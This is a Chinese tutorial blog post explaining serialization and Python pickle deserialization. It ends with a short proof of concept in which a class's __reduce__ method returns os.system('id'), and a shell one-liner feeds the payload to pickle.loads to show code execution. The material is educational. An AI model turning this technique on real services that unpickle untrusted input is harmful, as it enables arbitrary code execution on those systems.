反序列化攻击详细解释

反序列化攻击详细解释,第1张

简介

详细的记录学习过程中的笔记,可以加我qq一起交流:3316735898

什么是序列化与反序列化

举一个例子,当你在玩游戏时,你正在 *** 作的角色看起来如下

但反序列化后看起来就像这样

Vincent = {
	"type": "player"
	"health": 100,
	"position":{
	"x": 31337,
	"y":13.37,
	"z":4444
	}
}

这些只是一个充满值的对象,但当你关闭游戏时,这些值存储在电脑的RAM上,然后就永远消失了
如果想要把这些东西保存下来,object可以将这些值转换为存储的字节流,这个转换的过程就叫做序列化

           序列化
{object}------------>0101010101010101……

而把字节流从文件转回成object的逆过程,就叫做反序列化

           反序列化
{object}<------------0101010101010101……
python演示

为了更好的理解这些,我们用python来演示序列化于反序列化
进入python

在python中有一个序列化的模块,叫做pickle,我们可以用它来序列化我们设置的对象

https://docs.python.org/3/library/pickle.html


在python中输入以下代码

class User:
	def __init__(self,name,age):
		self.name = name
		self.age = age
	def summary(self):
		return f"{self.name} is {self.age} year(s) old"


输入完成后再按一下回车键就退出了
我解释一下代码:
我们创建了一个名为user的类,其中有两个属性,name和age,然后又创建了一个名为summary的函数,用这个函数作为我们输入对象的摘要

ret_v = User('baimao',17)
ret_v.summary()

然后调用这个类,输入name和age并显示出来

现在我们有了一个名为ret_v的对象,然后我们把这个对象序列化后显示出来看看是什么样子的
我们可以用pickle模块里一个名为dumps的函数来反序列化对象

导入pickle模块,然后使用dumps函数序列化对象

import pickle
pickle.dumps(ret_v)


返回了一大堆字节流,现在这个字节流可以通过网络传输到其他的机子上,甚至可以把它存储为一个文件或者一个磁盘

反汇编字节流

如果想反汇编字节流,可以使用一个名为pickletools的模块,直接导入即可,它可以帮助你反汇编字节流

ser = pickle.dumps(ret_v)
import pickletools
pickletools.dis(ser)

我们将字节流存储在ser变量里,然后调用模块对字节流进行反汇编 *** 作

我们继续反序列化这个字节流,让他回到原始的状态

反序列化字节流

我们将使用loads函数,他也是pickle模块里的,它可以帮我们反序列化字节流

ser1 = pickle.dumps(ret_v)
ser2 = pickle.loads(ser1)
ser2.summary()

将反序列化后的字节流存储在ser2变量里,然后我们调用一开始我们设置的类

可以看到,成功的显示了我们序列化前的字符串

反序列化攻击

我们上面做的只是将字节流转换为一个对象,但是当我们程序接受任意输入时,如果用户的输入包含一些恶意的序列化数据,然后这些数据在服务器上被反序列化,服务器是在将用户的输入转换为一个对象,之后服务器就会被任意代码执行
我们写一个简单的脚本来更好的理解这些
创建一个模拟攻击的脚本,输入以下代码

import pickle
class GNAT:
	def __reduce__(self):
		import os
		return(os.system,('id'))
serialized = pickle.dumps(GNAT())

print(serialized)

代码解释:
导入pickle模块,然后创建一个名为GNAT的类,这个类调用了一个reduce函数,我们将在这里编写我们的恶意代码

什么是reduce函数
https://docs.python.org/3/library/pickle.html


它是一个在对象被转储或者序列化时被实际调用的函数,会返回一个元组,第一个值为函数,第二个值为第一个函数的参数,所以我们这里使用system函数执行我们想要执行的命令

import os
return(os.system,('id',))

然后从这个类里创建了一个对象,然后序列化

serialized = pickle.dumps(GNAT())

保存后,新开一个终端,模拟被攻击的服务器


脚本执行正常,现在使用终端模拟服务器反序列化这个字符流,并读取其中的信息

python -c "import pickle; pickle.loads($(python3 exl1.py))"


成功执行

总结

这是记录学习过程中的笔记,之后会写一篇关于php反序列化攻击的文章,欢迎大家来关注我

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/787097.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-05
下一篇 2022-05-05

发表评论

登录后才能评论

评论列表(0条)

保存